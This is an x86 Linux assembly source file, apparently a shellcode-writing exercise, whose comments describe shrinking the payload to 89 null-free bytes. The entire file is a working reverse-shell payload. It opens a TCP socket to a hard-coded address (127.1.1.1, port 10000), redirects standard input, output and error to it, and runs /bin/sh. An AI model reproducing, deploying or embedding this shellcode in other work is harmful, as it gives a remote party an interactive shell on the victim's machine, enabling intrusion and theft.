; client.asm was 118 bytes with 0 null characters. But I wanted to reduce the shellcode size to less than 100. Let us try!

; Shellcode extracted from this file is 89 bytes. Woohoo!!

section .text
	global _start

_start: 
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx

	; socket(int domain, int type, int protocol)
	; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

	; Create a socket - executing socket system call
	mov ax, 359

	mov bl, 0x2
	
	mov cl, 0x1
	
	int 0x80
	
	; ebx will have the file descriptor of socket
	xchg ebx, eax
	
	mov ax, 362

	push 0x0101017f
	push edx
	mov byte [esp], 0x2
	mov word[esp + 0x2], 0x1027


	; If the IP Address has 0x00 in it, the shellcode will be modified significantly. As of now, let us assume IP Address does not have NULL Bytes. 

	
	mov ecx, esp
	; ecx now has the pointer to sockaddr_in structure

	
	;mov edx, 0x10
	; edx = socklen
	mov dl, 0x10

	int 0x80

	; connect done

	mov al, 63
	xor ecx, ecx
	int 0x80

	mov al, 63
	mov cl, 1
	int 0x80

	mov al, 63
	mov cl, 2
	int 0x80

	
	; execve("/bin/sh", argv, 0x00)
	xor eax, eax            ; Set eax = 0
        push eax

        push 0x68732f2f
        push 0x6e69622f

        mov ebx, esp

        push eax
        push ebx

        mov ecx, esp

        xor edx, edx            ; Set edx = 0
        mov al, 0xb             ; Set eax = 0xb
        int 0x80
